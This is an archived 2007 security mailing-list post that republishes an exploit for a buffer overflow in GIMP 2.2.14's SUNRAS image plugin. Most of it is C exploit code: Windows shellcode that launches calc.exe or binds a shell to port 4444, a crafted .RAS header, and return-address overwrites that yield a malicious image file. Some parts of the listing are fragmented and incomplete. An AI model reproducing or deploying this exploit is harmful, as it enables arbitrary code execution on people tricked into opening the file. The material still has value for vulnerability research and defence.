

[EXPL] GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-05/msg00000.html>

- From: SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - Date: 1 May 2007 15:43:47 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

SUMMARY

A vulnerability in GIMP's SUNRAS Plugin allows attackers that can fool a user into opening a specially crafted file to execute arbitrary code.

DETAILS

Vulnerable Systems:

- * Gimp version 2.2.14

Exploit:

```
/******\
```

```
*
```

```
*
```

```
* Gimp v2.2.14 .RAS File SUNRAS Plugin Buffer Overflow
```

```
*
```

```
*
```

```
*
```

```
*
```

```
*
```

```
* Gimp uses SUNRAS plugin to process .RAS file. But this module is
```

[EXPL] GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

```
vulnerable *
* to a buffer overflow in set_color_table which leads to code execution.
*
*
*
* Vulnerable code, sunras.c:862
*
*
*
* int ncols, j;
*
* guchar ColorMap[256*3];
*
*
*
* ncols = sunhdr->l_ras_maplength / 3;
*
* if (ncols <= 0) return;
*
*
*
* for (j = 0; j < ncols; j++)
*
* {
*
* ColorMap[j*3] = suncolmap[j];
*
* ColorMap[j*3+1] = suncolmap[j+ncols];
*
* ColorMap[j*3+2] = suncolmap[j+2*ncols];
*
* }
*
*
*
* This exploit runs calc.exe or binds shell to port 4444.
*
* Tested against Win XP SP2 FR but the bug exists in all systems.
*
* Have Fun!
*
*
*
* Coded and discovered by Marsu <Marsupilamipowa@xxxxxxxxxx>
*
\*****/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec - EXITFUNC=process CMD=calc.exe Size=164
```

[EXPL] GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

```
Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x31\xc9\x83\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x98"
"\x11\xbe\xa7\x83\xeb\xfc\xe2\xf4\x64\xf9\xfa\xa7\x98\x11\x35\xe2"
"\xa4\x9a\xc2\xa2\xe0\x10\x51\x2c\xd7\x09\x35\xf8\xb8\x10\x55\xee"
"\x13\x25\x35\xa6\x76\x20\x7e\x3e\x34\x95\x7e\xd3\x9f\xd0\x74\xaa"
"\x99\xd3\x55\x53\xa3\x45\x9a\xa3\xed\xf4\x35\xf8\xbc\x10\x55\xc1"
"\x13\x1d\xf5\x2c\xc7\x0d\xbf\x4c\x13\x0d\x35\xa6\x73\x98\xe2\x83"
"\x9c\xd2\x8f\x67\xfc\x9a\xfe\x97\x1d\xd1\xc6\xab\x13\x51\xb2\x2c"
"\xe8\x0d\x13\x2c\xf0\x19\x55\xae\x13\x91\x0e\xa7\x98\x11\x35\xcf"
"\xa4\x4e\x8f\x51\xf8\x47\x37\x5f\x1b\xd1\xc5\xf7\xf0\x6f\x66\x45"
"\xeb\x79\x26\x59\x12\x1f\xe9\x58\x7f\x72\xdf\xcb\xfb\x3f\xdb\xdf"
"\xfd\x11\xbe\xa7";
```

```
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub
http://metasploit.com */
```

```
unsigned char BindShellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5c"
"\x7b\x78\x7f\x83\xeb\xfc\xe2\xf4\xa0\x11\x93\x32\xb4\x82\x87\x80"
"\xa3\x1b\xf3\x13\x78\x5f\xf3\x3a\x60\xf0\x04\x7a\x24\x7a\x97\xf4"
"\x13\x63\xf3\x20\x7c\x7a\x93\x36\xd7\x4f\xf3\x7e\xb2\x4a\xb8\xe6"
"\xf0\xff\xb8\x0b\x5b\xba\xb2\x72\x5d\xb9\x93\x8b\x67\x2f\x5c\x57"
"\x29\x9e\xf3\x20\x78\x7a\x93\x19\xd7\x77\x33\xf4\x03\x67\x79\x94"
"\x5f\x57\xf3\xf6\x30\x5f\x64\x1e\x9f\x4a\xa3\x1b\xd7\x38\x48\xf4"
"\x1c\x77\xf3\x0f\x40\xd6\xf3\x3f\x54\x25\x10\xf1\x12\x75\x94\x2f"
"\xa3\xad\x1e\x2c\x3a\x13\x4b\x4d\x34\x0c\x0b\x4d\x03\x2f\x87\xaf"
"\x34\xb0\x95\x83\x67\x2b\x87\xa9\x03\xf2\x9d\x19\xdd\x96\x70\x7d"
"\x09\x11\x7a\x80\x8c\x13\xa1\x76\xa9\xd6\x2f\x80\x8a\x28\x2b\x2c"
"\x0f\x28\x3b\x2c\x1f\x28\x87\xaf\x3a\x13\x69\x23\x3a\x28\xf1\x9e"
"\xc9\x13\xdc\x65\x2c\xbc\x2f\x80\x8a\x11\x68\x2e\x09\x84\xa8\x17"
"\xf8\xd6\x56\x96\x0b\x84\xae\x2c\x09\x84\xa8\x17\xb9\x32\xfe\x36"
"\x0b\x84\xae\x2f\x08\x2f\x2d\x80\x8c\xe8\x10\x98\x25\xbd\x01\x28"
"\xa3\xad\x2d\x80\x8c\x1d\x12\x1b\x3a\x13\x1b\x12\xd5\x9e\x12\x2f"
"\x05\x52\xb4\xf6\xbb\x11\x3c\xf6\xbe\x4a\xb8\x8c\xf6\x85\x3a\x52"
"\xa2\x39\x54\xec\xd1\x01\x40\xd4\xf7\xd0\x10\x0d\xa2\xc8\x6e\x80"
"\x29\x3f\x87\xa9\x07\x2c\x2a\x2e\x0d\x2a\x12\x7e\x0d\x2a\x2d\x2e"
"\xa3\xab\x10\xd2\x85\x7e\xb6\x2c\xa3\xad\x12\x80\xa3\x4c\x87\xaf"
"\xd7\x2c\x84\xfc\x98\x1f\x87\xa9\x0e\x84\xa8\x17\xac\xf1\x7c\x20"
"\x0f\x84\xae\x80\x8c\x7b\x78\x7f";
```

```
char RAS[] =
"\x59\xa6\xa6\x95\x00\x00\x01\xfd\x00\x00\x01\xb6\x00\x00\x00\x08"
"\x00\x03\x68\x94\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x29"
"\x1b\xff\xbc\xef\x73\xd9\x13\x00\x70\xf0\xcc\x8d\x99\x50\xf1\xf7"
"\xac\x4d\xf0\xab\xe0\xec\xef\x2e\xe5\x8c\xef\xa6\x33\x8c\xc6\xfa"
"\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
```


[EXPL] GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

```
memcpy(evilbuff,RAS,sizeof(RAS)-1);

/*pffff this part is ... hum ... complicated!
well, we can access our shellcode at [ESP+0xF4]-0x0D00 so we put on the
top of the stack:
NOP
NOP
NOP
NOP
MOV EAX,[ESP+0xF8] <- do not forget ret add!
SUB EAX,0x0D00
CALL EAX
and we replace EIP by CALL ESP, say 0x7c81518b in Kernel32
*/
memset(evilbuff+0x125,0x7c,1);
memset(evilbuff+0x33e,0x81,1);
memset(evilbuff+0x231,0x51,1);
memset(evilbuff+0x124,0x8b,1);

if (!atoi(argv[1]))
memcpy(evilbuff+0x380,CalcShellcode,sizeof(CalcShellcode)-1);
else
memcpy(evilbuff+0x380,BindShellcode,sizeof(BindShellcode)-1);

if ((rasfile=fopen(argv[2],"wb"))==0) {
printf("[ - ] Unable to access file.\n");
return 0;
}

fwrite( evilbuff, 1, 4000, rasfile );
fclose(rasfile);
printf("[ + ] Done. Have fun!\n");
return 0;

}

// milw0rm.com [2007-04-26]
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:Marsupilamipowa@xxxxxxxxxxx>>
Marsu.

The original article can be found at: <<http://milw0rm.com/exploits/3801>>
<http://milw0rm.com/exploits/3801>

=====

[EXPL] GIMP SUNRAS Plugin "set_color_table()" Buffer Overflow

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.